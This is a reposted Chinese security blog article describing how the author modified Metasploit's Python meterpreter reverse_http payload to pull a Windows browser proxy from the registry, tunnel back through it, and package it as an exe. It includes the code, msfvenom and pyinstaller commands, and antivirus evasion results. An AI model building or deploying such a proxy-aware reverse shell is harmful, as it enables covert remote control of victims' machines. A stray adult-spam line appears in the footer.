頻道欄目
首頁 > 資訊 > 工具軟件 > 正文

基于Metasploit編寫終端檢測程序

18-03-28        來源:[db:作者]  
收藏   我要投稿

基于Metasploit編寫終端檢測程序,2017年初的項目中,我發現某客戶單位的員工辦公終端未進行內/外網物理隔離,內網通過設置瀏覽器代理服務器訪問公網,遂向客戶提出風險。但口說無憑,需證明此風險,故編寫此程序。此次風險說明與程序編寫,是在“永恒之藍/WannaCry”勒索軟件爆發前一周,雖然提出風險,但無法整改,客戶單位還是淪陷了。

其實當時想的蠻簡單的,利用Metasploit中的meterpreter/reverse_tcp讓終端反向連接客戶端即可,事實證明,代理服務器不處理tcp連接,只轉發HTTP請求,此路不通。那就使用meterpreter/reverse_http吧,但Metasploit又不支持自動設置代理,最后的思路是,找到meterpreter/reverse_http源碼并更改,使其自動抓取瀏覽器代理地址并反向連接客戶端。

思路有了,然后就是選擇語言,理論上用匯編/C/C++會更好,但我不會。再加上我只是想證明此問題,并不是真要編寫木馬程序,所以選擇了Python,Payload最終選擇python/meterpreter/reverse_http。

獲取源碼

相對于常用的sfconsole,msfvenom顯得陌生了許多,幫助信息如下:

支持的生成格式:

其中raw為原始格式,使用命令,結果如下:

msfvenom -p python/meterpreter/reverse_http -f raw

將結果使用base64解碼后,可見服務器端地址:

到此可以了解Metasploit總這塊大致的原理:遠程加載python代碼并執行,這樣一是可以減少客戶端的體積,二是可以更改攻擊行為。

獲取并使用瀏覽器代理

Windows中的配置一般存儲在注冊表中,瀏覽器代理地址也不例外,注冊表鍵值為HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings:

其中ProxyEnable代表是否使用代理,ProxyServer為代理地址,抓取并使用代理的代碼如下:

import _winreg

key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,r"Software\Microsoft\Windows\CurrentVersion\Internet Settings")

enable = _winreg.QueryValueEx(key,"ProxyEnable")

if enable[0]:

print 'Use Proxy'

name = _winreg.QueryValueEx(key, "ProxyServer")

pip = name[0].split(':')[0]

pport = name[0].split(':')[1]

server = pip + ':' + pport

print server

else:

print 'No Proxy'

使用urllib2的proxyhandler將所有http請求綁定到代理服務器:

proxy = urllib2.ProxyHandler({'http': server})

opener = urllib2.build_opener(proxy)

urllib2.install_opener(opener)

這樣,檢測程序的基本框架就完成了。

參數

為了復用,添加兩個參數-i為服務端地址,-p為服務端端口:

import optparse

parser = optparse.OptionParser('Program usage: httpControl.exe -i IP -p Port')

parser.add_option('-i', dest='IP', type='string', help='IP address')

parser.add_option('-p', dest='Port', type='string', help='Port Number')

options, args = parser.parse_args()

編譯

由于客戶端要運行服務端源碼,需要將所有包全部引入:

#coding=utf8

import binascii

import code

import os

import platform

import random

import re

import select

import socket

import struct

import subprocess

import sys

import threading

import time

import traceback

import shutil

import _winreg

import urllib2

import optparse

使用pyinstaller打包py文件為exe文件:

pyinstaller -F E:\Python\TEMP\httpControl\httpControl.py

驗證

配置服務端,當時我使用了日本的VPS,這里使用了虛擬機:

客戶端執行驗證程序:

httpControl.exe -i 192.168.111.111 -p 8888

客戶端結果如下

至此,驗證程序編寫完畢。

后記

這個程序我第一次嘗試編寫,未增加任何免殺策略,但是,查殺結果如下:

這次還有11個,去年的時候我記得是只有3個殺軟可以檢測出來?蛻艄締T工辦公終端裝有某付費S開頭殺毒軟件,部分員工自主裝有360。

1.程序上傳時均未檢測為惡意軟件;

2.執行ls,cat,download命令時,均未進行攔截;

3.嘗試使用敏感命令net user /add,只有360進行攔截。

結論:對于原創的惡意程序,殺毒軟件還是要延后許多,360的“主動防御”進程可以起到一定作用。還是不要使用來歷不明的程序了。

相關TAG標簽
上一篇:臺積電:絕大多數7nm客戶都會轉向6nm_IT新聞_博客園
下一篇:最后一頁
相關文章
圖文推薦

關于我們 | 聯系我們 | 廣告服務 | 投資合作 | 版權申明 | 在線幫助 | 網站地圖 | 作品發布 | Vip技術培訓 | 舉報中心

版權所有: 紅黑聯盟--致力于做實用的IT技術學習網站

美女MM131爽爽爽毛片